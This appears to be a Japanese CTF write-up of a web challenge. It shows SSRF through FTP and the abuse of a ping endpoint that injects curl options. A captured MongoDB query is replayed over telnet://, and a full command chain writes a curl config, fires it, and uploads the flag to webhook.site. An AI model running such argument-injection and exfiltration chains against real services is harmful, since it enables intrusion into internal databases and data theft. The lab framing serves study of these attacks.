(色々前提条件はあれど)FTPでSSRFできるテクニックがなかなか面白いなあと思った。FTPという古のプロトコルであるあたり、このテクニックは既知で有史以前から継承されてきているのだろうなあと薄々感じつつ後でググったところ、当然ながら既出も既出、ド既出でgraneedさんによる2020年のWeb問まとめ記事にもまとめられていることに気づいた。

今回はサーバ側がクライアント側に適当なIPアドレス・ポート番号へ接続しに行くように 227 というリプライコードを使って仕向けたけれども、その逆バージョンとして PORT コマンドを使う手法もある。こちらはFTP Bounce Attackと言われているそう。

Strellicさんが公開されたwriteupによると、想定解法は telnet を使うものだった*1。データの送信はどうするのだろうと思ったが、-T (--upload-file)でファイルのパスを指定すると、その内容が送られるということだった。そんなあ。

やってみる。まずMongoDBサーバにどんなメッセージを送るかという話だけれども、これはMongoDBサーバとやり取りしているパケットをキャプチャして調べてみる。sudo tcpdump -i lo -s 0 -w hoge.pcap でキャプチャしつつ、以下のコードをローカルの app コンテナで実行する。

const { MongoClient } = require("mongodb");
const client = new MongoClient("mongodb://localhost:27017/");
client.connect().then(async () => {
    const flag = client.db("secret").collection("flag");
    console.log((await flag.findOne()).flag);
    client.close();
});

dice{test_flag} が返ってくるようなレスポンスを発生させたリクエストは、次のようなものだった。

00000000  92 00 00 00 03 00 00 00 00 00 00 00 dd 07 00 00  |............Ý...|
00000010  00 00 00 00 00 7d 00 00 00 02 66 69 6e 64 00 05  |.....}....find..|
00000020  00 00 00 66 6c 61 67 00 03 66 69 6c 74 65 72 00  |...flag..filter.|
00000030  05 00 00 00 00 10 6c 69 6d 69 74 00 01 00 00 00  |......limit.....|
00000040  08 73 69 6e 67 6c 65 42 61 74 63 68 00 01 10 62  |.singleBatch...b|
00000050  61 74 63 68 53 69 7a 65 00 01 00 00 00 03 6c 73  |atchSize......ls|
00000060  69 64 00 1e 00 00 00 05 69 64 00 10 00 00 00 04  |id......id......|
00000070  bd e0 73 f0 c6 9a 43 54 93 5b 73 87 a1 ee 01 34  |½àsðÆ.CT.[s.¡î.4|
00000080  00 02 24 64 62 00 07 00 00 00 73 65 63 72 65 74  |..$db.....secret|
00000090  00 00                                            |..|

試しに、これを app コンテナから curltelnet:// を使ってMongoDBサーバに送ってみる。そのままだとなかなか curl が終了してくれないので、-m1タイムアウトを1秒にしておく。実行すると、同じメッセージでダミーのフラグを手に入れることができた。なるほど、これをリプレイするだけでよさそう。

user@51be22709e2e:/tmp$ echo -en "\x92\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xdd\x07\x00\x00\x00\x00\x00\x00\x00\x7d\x00\x00\x00\x02\x66\x69\x6e\x64\x00\x05\x00\x00\x00\x66\x6c\x61\x67\x00\x03\x66\x69\x6c\x74\x65\x72\x00\x05\x00\x00\x00\x00\x10\x6c\x69\x6d\x69\x74\x00\x01\x00\x00\x00\x08\x73\x69\x6e\x67\x6c\x65\x42\x61\x74\x63\x68\x00\x01\x10\x62\x61\x74\x63\x68\x53\x69\x7a\x65\x00\x01\x00\x00\x00\x03\x6c\x73\x69\x64\x00\x1e\x00\x00\x00\x05\x69\x64\x00\x10\x00\x00\x00\x04\xbd\xe0\x73\xf0\xc6\x9a\x43\x54\x93\x5b\x73\x87\xa1\xee\x01\x34\x00\x02\x24\x64\x62\x00\x07\x00\x00\x00\x73\x65\x63\x72\x65\x74\x00\x00" > input
user@51be22709e2e:/tmp$ curl -m1 -s -o - -T input "telnet://mongodb:27017" | xxd
00000000: 9700 0000 8426 0000 0300 0000 dd07 0000  .....&..........
00000010: 0000 0000 0082 0000 0003 6375 7273 6f72  ..........cursor
00000020: 0069 0000 0004 6669 7273 7442 6174 6368  .i....firstBatch
00000030: 0038 0000 0003 3000 3000 0000 075f 6964  .8....0.0...._id
00000040: 0063 e418 c44a d4fd c9ba fa7b 1c02 666c  .c...J.....{..fl
00000050: 6167 0010 0000 0064 6963 657b 7465 7374  ag.....dice{test
00000060: 5f66 6c61 677d 0000 0012 6964 0000 0000  _flag}....id....
00000070: 0000 0000 0002 6e73 000c 0000 0073 6563  ......ns.....sec
00000080: 7265 742e 666c 6167 0000 016f 6b00 0000  ret.flag...ok...
00000090: 0000 0000 f03f 00                        .....?.
user@51be22709e2e:/tmp$ curl -m1 -s -o - -T input "telnet://mongodb:27017" | xxd
00000000: 9700 0000 8526 0000 0300 0000 dd07 0000  .....&..........
00000010: 0000 0000 0082 0000 0003 6375 7273 6f72  ..........cursor
00000020: 0069 0000 0004 6669 7273 7442 6174 6368  .i....firstBatch
00000030: 0038 0000 0003 3000 3000 0000 075f 6964  .8....0.0...._id
00000040: 0063 e418 c44a d4fd c9ba fa7b 1c02 666c  .c...J.....{..fl
00000050: 6167 0010 0000 0064 6963 657b 7465 7374  ag.....dice{test
00000060: 5f66 6c61 677d 0000 0012 6964 0000 0000  _flag}....id....
00000070: 0000 0000 0002 6e73 000c 0000 0073 6563  ......ns.....sec
00000080: 7265 742e 666c 6167 0000 016f 6b00 0000  ret.flag...ok...
00000090: 0000 0000 f03f 00                        .....?.

次のような手順でフラグを取得する。

  1. MongoDBサーバへのSSRF用の設定ファイルを、-o GETGET に保存させる
    • この設定ファイルは、-m1 -o POST -T POST telnet://mongodb:27017 相当のリクエストが送られるものにする
  2. MongoDBサーバに送るためのメッセージを、-o POSTPOST に保存させる
  3. -K GET で発火させる
  4. POST をWebhook.siteにアップロードさせる

実行するコマンドは次の通り。

$ # 問題サーバにファイルをダウンロードさせるためのWebサーバを立ち上げる
$ python3 -m http.server &

$ # 設定ファイルその1
$ cat config1
output = "/dev/null" # http://example.comのレスポンスを捨てる
upload = "/dev/null"

url = "telnet://mongodb:27017"
max-time = 1
output = "POST"
upload = "POST"
$ # 1. MongoDBサーバへのSSRF用の設定ファイルを、-o GET で GET に保存させる
$ curl http://…/api/ping -d "url=http://…/config1&opt=-o&data=GET"

$ # MongoDBサーバに送るためのメッセージを作成
$ echo -en "\x92\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\xdd\x07\x00\x00\x00\x00\x00\x00\x00\x7d\x00\x00\x00\x02\x66\x69\x6e\x64\x00\x05\x00\x00\x00\x66\x6c\x61\x67\x00\x03\x66\x69\x6c\x74\x65\x72\x00\x05\x00\x00\x00\x00\x10\x6c\x69\x6d\x69\x74\x00\x01\x00\x00\x00\x08\x73\x69\x6e\x67\x6c\x65\x42\x61\x74\x63\x68\x00\x01\x10\x62\x61\x74\x63\x68\x53\x69\x7a\x65\x00\x01\x00\x00\x00\x03\x6c\x73\x69\x64\x00\x1e\x00\x00\x00\x05\x69\x64\x00\x10\x00\x00\x00\x04\xbd\xe0\x73\xf0\xc6\x9a\x43\x54\x93\x5b\x73\x87\xa1\xee\x01\x34\x00\x02\x24\x64\x62\x00\x07\x00\x00\x00\x73\x65\x63\x72\x65\x74\x00\x00" > input
$ # 2. MongoDBサーバに送るためのメッセージを、-o POST で POST に保存させる
$ curl http://…/api/ping -d "url=http://…/input&opt=-o&data=POST"

$ # 3. -K GET で発火させる
$ curl http://…/api/ping -d "url=http://example.com&opt=-K&data=GET"

$ # 4. POST をWebhook.siteにアップロードさせる
$ curl http://…/api/ping -d "url=https://webhook.site/…&opt=-T&data=POST"

フラグが得られた。

dice{i_lied_this_1s_th3_finished_st4te}

*1:telnetを使ってるねっと!w